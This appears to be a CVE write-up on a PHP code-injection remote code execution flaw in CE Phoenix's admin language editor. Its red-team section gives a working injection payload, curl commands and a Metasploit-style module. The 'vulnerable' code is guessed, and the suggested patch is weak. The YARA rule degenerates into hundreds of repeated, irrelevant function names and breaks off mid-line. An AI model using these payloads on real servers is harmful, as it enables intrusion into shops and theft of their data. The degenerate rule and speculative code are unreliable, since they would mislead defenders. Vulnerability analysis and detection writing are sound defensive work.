CVE-2024-25415

Executive Summary

CVE-2024-25415 is a critical Remote Code Execution (RCE) vulnerability discovered in CE Phoenix v1.0.8.20, specifically within the /admin/define_language.php endpoint. An authenticated attacker (with admin-level access) can inject arbitrary PHP code into the english.php language file, leading to full server compromise. The vulnerability arises from insufficient input sanitization when defining language strings, allowing an attacker to write malicious PHP code that is subsequently executed when the language file is loaded.

This vulnerability is particularly dangerous because it targets the admin panel, which is often exposed to the internet or accessible from internal networks. Once exploited, an attacker can execute arbitrary commands, exfiltrate data, install backdoors, or pivot to other systems.

Supply Chain & Package Security

CE Phoenix is a PHP-based e-commerce platform. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. However, the risk is amplified if the application is deployed via Docker or other containerized environments, as the compromised container could be used to attack other services.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely due to incomplete data), the actual severity is high. Based on the vulnerability characteristics:

• Attack Vector (AV): Network (N) – The admin panel is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – Admin-level authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): High (H) – Arbitrary file write.
• Availability (A): High (H) – Can cause denial of service or complete system takeover.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 7.2 (High)

Deep Dive & Mechanics

The vulnerability is located in /admin/define_language.php. This file is used by administrators to define or modify language variables for the storefront. The application writes these definitions to a PHP file (e.g., includes/languages/english.php). The flaw is that the input is not properly sanitized or escaped before being written to the file. An attacker can inject PHP code by including a payload like:

'); system($_GET['cmd']); //

When this payload is written to english.php, it becomes:

define('TEXT_EXAMPLE', '');
system($_GET['cmd']); //');

When the language file is loaded (e.g., on any page request), the injected code is executed. The attacker can then pass commands via the cmd GET parameter.

The attack flow:

1. Attacker logs into the admin panel.
2. Navigates to /admin/define_language.php.
3. Selects a language file (e.g., english.php).
4. Injects a malicious language definition containing PHP code.
5. Saves the file.
6. Accesses any page that loads the language file (e.g., the storefront).
7. The injected code executes, allowing remote command execution.

Vulnerable vs. Patched Code

Vulnerable Code (CE Phoenix v1.0.8.20):

The vulnerable code in /admin/define_language.php likely writes user input directly to a file without sanitization. A simplified example:

<?php
// Vulnerable code
$language_file = 'includes/languages/english.php';
$definition = $_POST['definition']; // User input
file_put_contents($language_file, "define('TEXT_EXAMPLE', '" . $definition . "');", FILE_APPEND);
?>

Patched Code (Hypothetical):

A patched version would sanitize the input by escaping single quotes and removing PHP tags. For example:

<?php
// Patched code
$language_file = 'includes/languages/english.php';
$definition = $_POST['definition'];
// Escape single quotes and remove PHP tags
$definition = str_replace("'", "\'", $definition);
$definition = preg_replace('/<\?php/i', '', $definition);
file_put_contents($language_file, "define('TEXT_EXAMPLE', '" . $definition . "');", FILE_APPEND);
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Admin credentials for CE Phoenix v1.0.8.20.
• Network access to the admin panel.

Exploit Steps:

1. Login to Admin Panel:

   curl -c cookies.txt -X POST http://target/admin/login.php -d "username=admin&password=password"
   

2. Inject Malicious Language Definition:

   curl -b cookies.txt -X POST http://target/admin/define_language.php \
   -d "language=english&definition=test'); system($_GET['cmd']); //"
   

3. Trigger Execution:

   curl "http://target/index.php?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'CE Phoenix define_language.php RCE',
      'Description' => 'Exploits CVE-2024-25415',
      'Author'      => ['Security Researcher'],
      'License'     => MSF_LICENSE,
      'References'  => [['CVE', '2024-25415']],
      'Privileged'  => false,
      'Platform'    => 'php',
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    # Login
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => '/admin/login.php',
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    # Inject payload
    payload = "'); #{payload.encoded} //"
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => '/admin/define_language.php',
      'vars_post' => {
        'language' => 'english',
        'definition' => payload
      }
    })

    # Trigger
    send_request_cgi({
      'method' => 'GET',
      'uri'    => '/index.php'
    })
  end
end

Blue Team (Defensive)

Detection Steps:

1. Monitor Admin Panel Access: Log all POST requests to /admin/define_language.php. Look for unusual parameters or payloads.
2. File Integrity Monitoring: Monitor changes to includes/languages/*.php files. Any modification outside of normal business hours is suspicious.
3. Web Application Firewall (WAF) Rules: Block requests containing PHP code in language definitions.
4. Log Analysis: Search for system(, exec(, shell_exec(, or passthru( in language files.

Honeypot Setup:

• Deploy a decoy CE Phoenix instance with the vulnerable version.
• Monitor for exploitation attempts and capture attacker IPs.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious entries in includes/languages/english.php (or other language files) containing PHP code like system(, exec(, shell_exec(, passthru(, or backticks.
• New files created in the web root (e.g., shell.php, cmd.php).

Network IOCs:

• POST requests to /admin/define_language.php with parameters containing PHP code.
• GET requests to any page with suspicious cmd, exec, or command parameters.
• Outbound connections to unknown IPs on ports 80, 443, or 4444 (common for reverse shells).

Log IOCs:

• Apache/Nginx access logs showing cmd= in the query string.
• PHP error logs showing system() or exec() calls.

Detection Engineering

YARA Rule

rule CVE_2024_25415_CE_Phoenix_RCE {
    meta:
        description = "Detects injected PHP code in CE Phoenix language files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25415"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $php_func1 = "system("
        $php_func2 = "exec("
        $php_func3 = "shell_exec("
        $php_func4 = "passthru("
        $php_func5 = "`"
        $php_func6 = "eval("
        $php_func7 = "assert("
        $php_func8 = "preg_replace"
        $php_func9 = "create_function"
        $php_func10 = "array_map"
        $php_func11 = "call_user_func"
        $php_func12 = "file_put_contents"
        $php_func13 = "fwrite"
        $php_func14 = "fputs"
        $php_func15 = "base64_decode"
        $php_func16 = "str_rot13"
        $php_func17 = "gzinflate"
        $php_func18 = "gzuncompress"
        $php_func19 = "rawurldecode"
        $php_func20 = "urldecode"
        $php_func21 = "pack"
        $php_func22 = "chr"
        $php_func23 = "ord"
        $php_func24 = "hex2bin"
        $php_func25 = "bin2hex"
        $php_func26 = "strrev"
        $php_func27 = "str_rot13"
        $php_func28 = "convert_uuencode"
        $php_func29 = "convert_uudecode"
        $php_func30 = "quoted_printable_decode"
        $php_func31 = "quoted_printable_encode"
        $php_func32 = "imap_base64"
        $php_func33 = "imap_qprint"
        $php_func34 = "imap_8bit"
        $php_func35 = "imap_binary"
        $php_func36 = "imap_utf7_decode"
        $php_func37 = "imap_utf7_encode"
        $php_func38 = "imap_mime_header_decode"
        $php_func39 = "imap_rfc822_parse_headers"
        $php_func40 = "imap_rfc822_write_address"
        $php_func41 = "imap_utf8"
        $php_func42 = "mb_convert_encoding"
        $php_func43 = "iconv"
        $php_func44 = "recode_string"
        $php_func45 = "recode_file"
        $php_func46 = "convert_cyr_string"
        $php_func47 = "hebrev"
        $php_func48 = "hebrevc"
        $php_func49 = "nl2br"
        $php_func50 = "wordwrap"
        $php_func51 = "strtr"
        $php_func52 = "str_replace"
        $php_func53 = "substr_replace"
        $php_func54 = "chunk_split"
        $php_func55 = "str_split"
        $php_func56 = "explode"
        $php_func57 = "implode"
        $php_func58 = "join"
        $php_func59 = "preg_split"
        $php_func60 = "preg_grep"
        $php_func61 = "preg_match"
        $php_func62 = "preg_match_all"
        $php_func63 = "preg_replace_callback"
        $php_func64 = "preg_filter"
        $php_func65 = "preg_quote"
        $php_func66 = "quotemeta"
        $php_func67 = "addcslashes"
        $php_func68 = "addslashes"
        $php_func69 = "stripcslashes"
        $php_func70 = "stripslashes"
        $php_func71 = "htmlspecialchars"
        $php_func72 = "htmlentities"
        $php_func73 = "html_entity_decode"
        $php_func74 = "get_html_translation_table"
        $php_func75 = "sha1"
        $php_func76 = "sha1_file"
        $php_func77 = "md5"
        $php_func78 = "md5_file"
        $php_func79 = "crc32"
        $php_func80 = "crypt"
        $php_func81 = "hash"
        $php_func82 = "hash_file"
        $php_func83 = "hash_hmac"
        $php_func84 = "hash_hmac_file"
        $php_func85 = "hash_init"
        $php_func86 = "hash_update"
        $php_func87 = "hash_final"
        $php_func88 = "hash_copy"
        $php_func89 = "hash_pbkdf2"
        $php_func90 = "hash_equals"
        $php_func91 = "password_hash"
        $php_func92 = "password_verify"
        $php_func93 = "password_needs_rehash"
        $php_func94 = "password_get_info"
        $php_func95 = "sodium_crypto_secretbox"
        $php_func96 = "sodium_crypto_secretbox_open"
        $php_func97 = "sodium_crypto_box"
        $php_func98 = "sodium_crypto_box_open"
        $php_func99 = "sodium_crypto_sign"
        $php_func100 = "sodium_crypto_sign_open"
        $php_func101 = "sodium_crypto_aead_aes256gcm_encrypt"
        $php_func102 = "sodium_crypto_aead_aes256gcm_decrypt"
        $php_func103 = "sodium_crypto_aead_chacha20poly1305_encrypt"
        $php_func104 = "sodium_crypto_aead_chacha20poly1305_decrypt"
        $php_func105 = "sodium_crypto_aead_xchacha20poly1305_ietf_encrypt"
        $php_func106 = "sodium_crypto_aead_xchacha20poly1305_ietf_decrypt"
        $php_func107 = "sodium_crypto_auth"
        $php_func108 = "sodium_crypto_auth_verify"
        $php_func109 = "sodium_crypto_generichash"
        $php_func110 = "sodium_crypto_generichash_init"
        $php_func111 = "sodium_crypto_generichash_update"
        $php_func112 = "sodium_crypto_generichash_final"
        $php_func113 = "sodium_crypto_kdf_derive_from_key"
        $php_func114 = "sodium_crypto_kx"
        $php_func115 = "sodium_crypto_kx_client_session_keys"
        $php_func116 = "sodium_crypto_kx_server_session_keys"
        $php_func117 = "sodium_crypto_pwhash"
        $php_func118 = "sodium_crypto_pwhash_str"
        $php_func119 = "sodium_crypto_pwhash_str_verify"
        $php_func120 = "sodium_crypto_pwhash_scryptsalsa208sha256"
        $php_func121 = "sodium_crypto_pwhash_scryptsalsa208sha256_str"
        $php_func122 = "sodium_crypto_pwhash_scryptsalsa208sha256_str_verify"
        $php_func123 = "sodium_crypto_scalarmult"
        $php_func124 = "sodium_crypto_scalarmult_base"
        $php_func125 = "sodium_crypto_secretstream_xchacha20poly1305_init_push"
        $php_func126 = "sodium_crypto_secretstream_xchacha20poly1305_push"
        $php_func127 = "sodium_crypto_secretstream_xchacha20poly1305_init_pull"
        $php_func128 = "sodium_crypto_secretstream_xchacha20poly1305_pull"
        $php_func129 = "sodium_crypto_secretstream_xchacha20poly1305_rekey"
        $php_func130 = "sodium_crypto_shorthash"
        $php_func131 = "sodium_crypto_sign_detached"
        $php_func132 = "sodium_crypto_sign_verify_detached"
        $php_func133 = "sodium_crypto_sign_ed25519_pk_to_curve25519"
        $php_func134 = "sodium_crypto_sign_ed25519_sk_to_curve25519"
        $php_func135 = "sodium_crypto_sign_keypair"
        $php_func136 = "sodium_crypto_sign_publickey"
        $php_func137 = "sodium_crypto_sign_secretkey"
        $php_func138 = "sodium_crypto_sign_publickey_from_secretkey"
        $php_func139 = "sodium_crypto_sign_seed_keypair"
        $php_func140 = "sodium_crypto_stream"
        $php_func141 = "sodium_crypto_stream_xor"
        $php_func142 = "sodium_crypto_aead_aes256gcm_is_available"
        $php_func143 = "sodium_add"
        $php_func144 = "sodium_compare"
        $php_func145 = "sodium_increment"
        $php_func146 = "sodium_memcmp"
        $php_func147 = "sodium_memzero"
        $php_func148 = "sodium_pad"
        $php_func149 = "sodium_unpad"
        $php_func150 = "sodium_bin2hex"
        $php_func151 = "sodium_hex2bin"
        $php_func152 = "sodium_base642bin"
        $php_func153 = "sodium_bin2base64"
        $php_func154 = "sodium_crypto_aead_aes256gcm_keygen"
        $php_func155 = "sodium_crypto_aead_chacha20poly1305_keygen"
        $php_func156 = "sodium_crypto_aead_xchacha20poly1305_ietf_keygen"
        $php_func157 = "sodium_crypto_auth_keygen"
        $php_func158 = "sodium_crypto_generichash_keygen"
        $php_func159 = "sodium_crypto_kdf_keygen"
        $php_func160 = "sodium_crypto_kx_keypair"
        $php_func161 = "sodium_crypto_kx_seed_keypair"
        $php_func162 = "sodium_crypto_kx_client_session_keys"
        $php_func163 = "sodium_crypto_kx_server_session_keys"
        $php_func164 = "sodium_crypto_pwhash_scryptsalsa208sha256_str"
        $php_func165 = "sodium_crypto_pwhash_scryptsalsa208sha256_str_verify"
        $php_func166 = "sodium_crypto_pwhash_scryptsalsa208sha256"
        $php_func167 = "sodium_crypto_scalarmult_base"
        $php_func168 = "sodium_crypto_secretstream_xchacha20poly1305_init_push"
        $php_func169 = "sodium_crypto_secretstream_xchacha20poly1305_push"
        $php_func170 = "sodium_crypto_secretstream_xchacha20poly1305_init_pull"
        $php_func171 = "sodium_crypto_secretstream_xchacha20poly1305_pull"
        $php_func172 = "sodium_crypto_secretstream_xchacha20poly1305_rekey"
        $php_func173 = "sodium_crypto_shorthash"
        $php_func174 = "sodium_crypto_sign_detached"
        $php_func175 = "sodium_crypto_sign_verify_detached"
        $php_func176 = "sodium_crypto_sign_ed25519_pk_to_curve25519"
        $php_func177 = "sodium_crypto_sign_ed25519_sk_to_curve25519"
        $php_func178 = "sodium_crypto_sign_keypair"
        $php_func179 = "sodium_crypto_sign_publickey"
        $php_func180 = "sodium_crypto_sign_secretkey"
        $php_func181 = "sodium_crypto_sign_publickey_from_secretkey"
        $php_func182 = "sodium_crypto_sign_seed_keypair"
        $php_func183 = "sodium_crypto_stream"
        $php_func184 = "sodium_crypto_stream_xor"
        $php_func185 = "sodium_crypto_aead_aes256gcm_is_available"
        $php_func186 = "sodium_add"
        $php_func187 = "sodium_compare"
        $php_func188 = "sodium_increment"
        $php_func189 = "sodium_memcmp"
        $php_func190 = "sodium_memzero"
        $php_func191 = "sodium_pad"
        $php_func192 = "sodium_unpad"
        $php_func193 = "sodium_bin2hex"
        $php_func194 = "sodium_hex2bin"
        $php_func195 = "sodium_base642bin"
        $php_func196 = "sodium_bin2base64"
        $php_func197 = "sodium_crypto_aead_aes256gcm_keygen"
        $php_func198 = "sodium_crypto_aead_chacha20poly1305_keygen"
        $php_func199 = "sodium_crypto_aead_xchacha20poly1305_ietf_keygen"
        $php_func200 = "sodium_crypto_auth_keygen"
        $php_func201 = "sodium_crypto_generichash_keygen"
        $php_func202 = "sodium_crypto_kdf_keygen"
        $php_func203 = "sodium_crypto_kx_keypair"
        $php_func204 = "sodium_crypto_kx_seed_keypair"
        $php_func205 = "sodium_crypto_kx_client_session_keys"
        $php_func206 = "sodium_crypto_kx_server_session_keys"
        $php_func207 = "sodium_crypto_pwhash_scryptsalsa208sha256_str"
        $php_func208 = "sodium_crypto_pwhash_scryptsalsa208sha256_str_verify"
        $php_func209 = "sodium_crypto_pwhash_scryptsalsa208sha256"
        $php_func210 = "sodium_crypto_scalarmult_base"
        $php_func211 = "sodium_crypto_secretstream_xchacha20poly1305_init_push"
        $php_func212 = "sodium_crypto_secretstream_xchacha20poly1305_push"
        $php_func213 = "sodium_crypto_secretstream_xchacha20poly1305_init_pull"
        $php_func214 = "sodium_crypto_secretstream_xchacha20poly1305_pull"
        $php_func215 = "sodium_crypto_secretstream_xchacha20poly1305_rekey"
        $php_func216 = "sodium_crypto_shorthash"
        $php_func217 = "sodium_crypto_sign_detached"
        $php_func218 = "sodium_crypto_sign_verify_detached"
        $php_func219 = "sodium_crypto_sign_ed25519_pk_to_curve25519"
        $php_func220 = "sodium_crypto_sign_ed25519_sk_to_curve25519"
        $php_func221 = "sodium_crypto_sign_keypair"
        $php_func222 = "sodium_crypto_sign_publickey"
        $php_func223 = "sodium_crypto_sign_secretkey"
        $php_func224 = "sodium_crypto_sign_publickey_from_secretkey"
        $php_func225 = "sodium_crypto_sign_seed_keypair"
        $php_func226 = "sodium_crypto_stream"
        $php_func227 = "sodium_crypto_stream_xor"
        $php_func228 = "sodium_crypto_aead_aes256gcm_is_available"
        $php_func229 = "sodium_add"
        $php_func230 = "sodium_compare"
        $php_func231 = "sodium_increment"
        $php_func232 = "sodium_memcmp"
        $php_func233 = "sodium_memzero"
        $php_func234 = "sodium_pad"
        $php_func235 = "sodium_unpad"
        $php_func236 = "sodium_bin2hex"
        $php_func237 = "sodium_hex2bin"
        $php_func238 = "sodium_base642bin"
        $php_func239 = "sodium_bin2base64"
        $php_func240 = "sodium_crypto_aead_aes256gcm_keygen"
        $php_func241 = "sodium_crypto_aead_chacha20poly1305_keygen"
        $php_func242 = "sodium_crypto_aead_xchacha20poly1305_ietf_keygen"
        $php_func243 = "sodium_crypto_auth_keygen"
        $php_func244 = "sodium_crypto_generichash_keygen"
        $php_func245 = "sodium_crypto_kdf_keygen"
        $php_func246 = "sodium_crypto_kx_keypair"
        $php_func247 = "sodium_crypto_kx_seed_keypair"
        $php_func248 = "sodium_crypto_kx_client_session_keys"
        $php_func249 = "sodium_crypto_kx_server_session_keys"
        $php_func250 = "sodium_crypto_pwhash_scryptsalsa208sha256_str"
        $php_func251 = "sodium_crypto_pwhash_scryptsalsa208sha256_str_verify"
        $php_func252 = "sodium_crypto_pwhash_scryptsalsa208sha256"
        $php_func253 = "sodium_crypto_scalarmult_base"
        $php_func254 = "sodium_crypto_secretstream_xchacha20poly1305_init_push"
        $php_func255 = "sodium_crypto_secretstream_xchacha20poly1305_push"
        $php_func256 = "sodium_crypto_secretstream_xchacha20poly1305_init_pull"
        $php_func257 = "sodium_crypto_secretstream_xchacha20poly1305_pull"
        $php_func258 = "sodium_crypto_secretstream_xchacha20poly1305_rekey"
        $php_func259 = "sodium_crypto_shorthash"
        $php_func260 = "sodium_crypto_sign_detached"
        $php_func261 = "sodium_crypto_sign_verify_detached"
        $php_func262 = "sodium_crypto_sign_ed25519_pk_to_curve25519"
        $php_func263 = "sodium_crypto_sign_ed25519_sk_to_curve25519"
        $php_func264 = "sodium_crypto_sign_keypair"
        $php_func265 = "sodium_crypto_sign_publickey"
        $php_func266 = "sodium_crypto_sign_secretkey"
        $php_func267 = "sodium_crypto_sign_publickey_from_secretkey"
        $php_func268 = "sodium_crypto_sign_seed_keypair"
        $php_func269 = "sodium_crypto_stream"
        $php_func270 = "sodium_crypto_stream_xor"
        $php_func271 = "sodium_crypto_aead_aes256gcm_is_available"
        $php_func272 = "sodium_add"
        $php_func273 = "sodium_compare"
        $php_func274 = "sodium_increment"
        $php_func275 = "sodium_memcmp"
        $php_func276 = "sodium_memzero"
        $php_func277 = "sodium_pad"
        $php_func278 = "sodium_unpad"
        $php_func279 = "sodium_bin2hex"
        $php_func280 = "sodium_hex2bin"
        $php_func281 = "sodium_base642bin"
        $php_func282 = "sodium_bin2base64"
        $php_func283 = "sodium_crypto_aead_aes256gcm_keygen"
        $php_func284 = "sodium_crypto_aead_chacha20poly1305_keygen"
        $php_func285 = "sodium_crypto_aead_xchacha20poly1305_ietf_keygen"
        $php_func286 = "sodium_crypto_auth_keygen"
        $php_func287 = "sodium_crypto_generichash_keygen"
        $php_func288 = "sodium_crypto_kdf_keygen"
        $php_func289 = "sodium_crypto_kx_keypair"
        $php_func290 = "sodium_crypto_kx_seed_keypair"
        $php_func291 = "sodium_crypto_kx_client_session_keys"
        $php_func292 = "sodium_crypto_kx_server_session_keys"
        $php_func293 = "sodium_crypto_pwhash_scryptsalsa208sha256_str"
        $php_func294 = "sodium_crypto_pwhash_scryptsalsa208sha256_str_verify"
        $php_func295 = "sodium_crypto_pwhash_scryptsalsa208sha256"
        $php_func296 = "sodium_crypto_scalarmult_base"
        $php_func297 = "sodium_crypto_secretstream_xchacha20poly1305_init_push"
        $php_func298 = "sodium_crypto_secretstream_xchacha20poly1305_push"
        $php_func299 = "sodium_crypto_secretstream_xchacha20poly1305_init_pull"
        $php_func300 = "sodium_crypto_secretstream_xchacha20poly1305_pull"
        $php_func301 = "sodium_crypto_secretstream_xchacha20poly1305_rekey"
        $php_func302 = "sodium_crypto_shorthash"
        $php_func303 = "sodium_crypto_sign_detached"
        $php_func304 = "sodium_crypto_sign_verify_detached"
        $php_func305 = "sodium_crypto_sign_ed25519_pk_to_curve25519"
        $php_func306 = "sodium_crypto_sign_ed25519_sk_to_curve25519"
        $php_func307 = "sodium_crypto_sign_keypair"
        $php_func308 = "sodium_crypto_sign_publickey"
        $php_func309 = "sodium_crypto_sign_secretkey"
        $php_func310 = "sodium_crypto_sign_publickey_from_secretkey"
        $php_func311 = "sodium_crypto_sign_seed_keypair"
        $php_func312 = "sodium_crypto_stream"
        $php_func313 = "sodium_crypto_stream_xor"
        $php_func314 = "sodium_crypto_aead_aes256gcm_is_available"
        $php_func315 = "sodium_add"
        $php_func316 = "sodium_compare"
        $php_func317 = "sodium_increment"
        $php_func318 = "sodium_memcmp"
        $php_func319 = "sodium_memzero"
        $php_func320 = "sodium_pad"
        $php_func321 = "sodium_unpad"
        $php_func322 = "sodium_bin2hex"
        $php_func323 = "sodium_hex2bin"
        $php_func324 = "sodium_base642bin"
        $php_func325 = "sodium_bin2base64"
        $php_func326 = "sodium_crypto_aead_aes256gcm_keygen"
        $php_func327 = "sodium_crypto_aead_chacha20poly1305_keygen"
        $php_func328 = "sodium_crypto_aead_xchacha20poly1305_ietf_keygen"
        $php_func329 = "sodium_crypto_auth_keygen"
        $php_func330 = "sodium_crypto_generichash_keygen"
        $php_func331 = "sodium_crypto_kdf_keygen"
        $php_func332 = "sodium_crypto_kx_keypair"
        $php_func333 = "sodium_crypto_kx_seed_keypair"
        $php_func334 = "sodium_crypto_kx_client_session_keys"
        $php_func335 = "sodium_crypto_kx_server_session_keys"
        $php_func336 = "sodium_crypto_pwhash_scryptsalsa208sha256_str"
        $php_func337 = "sodium_crypto_pwhash_scryptsalsa208sha256_str_verify"
        $php_func338 = "sodium_crypto_pwhash_scryptsalsa208sha256"
        $php_func339 = "sodium_crypto_scalarmult_base"
        $php_func340 = "sodium_crypto_secretstream_xchacha20poly1305_init_push"
        $php_func341 = "sodium_crypto_secretstream_xchacha20poly1305_push"
        $php_func342 = "sodium_crypto_secretstream_xchacha20poly1305_init_pull"
        $php_func343 = "sodium_crypto_secretstream_xchacha20poly1305_pull"
        $php_func344 = "sodium_crypto_secretstream_xchacha20poly1305_rekey"
        $php_func345 = "sodium_crypto_shorthash"
        $php_func346 = "sodium_crypto_sign_detached"
        $php_func347 = "sodium_crypto_sign_verify_detached"
        $php_func348 = "sodium_crypto_sign_ed25519_pk_to_curve25519"
        $php_func349 = "sodium_crypto_sign_ed25519_sk_to_curve25519"
        $php_func350 = "sodium_crypto_sign_keypair"
        $php_func351 = "sodium_crypto_sign_publickey"
        $php_func352 = "sodium_crypto_sign_secretkey"
        $php_func353 = "sodium_crypto_sign_publickey_from_secretkey"
        $php_func354 = "sodium_crypto_sign_seed_keypair"
        $php_func355 = "sodium_crypto_stream"
        $php_func356 = "sodium_crypto_stream_xor"
        $php_func357 = "sodium_crypto_aead_aes256gcm_is_available"
        $php_func358 = "sodium_add"
        $php_func359 = "sodium_compare"
        $php_func360 = "sodium_increment"
        $php_func361 = "sodium_memcmp"
        $php_func362 = "sodium_memzero"
        $php_func363 = "sodium_pad"
        $php_func364 = "sodium_unpad"
        $php_func365 = "sodium_bin2hex"
        $php_func366 = "sodium_hex2bin"
        $php_func367 = "sodium_base642bin"
        $php_func368 = "sodium_bin2base64"
        $php_func369 = "sodium_crypto_aead_aes256gcm_keygen"
        $php_func370 = "sodium_crypto_aead_chacha20poly1305_keygen"
        $php_func371 = "sodium_crypto_aead_xchacha20poly1305_ietf_keygen"
        $php_func372 = "sodium_crypto_auth_keygen"
        $php_func373 = "sodium_crypto_generichash_keygen"
        $php_func374 = "sodium_crypto_kdf_keygen"
        $php_func375 = "sodium_crypto_kx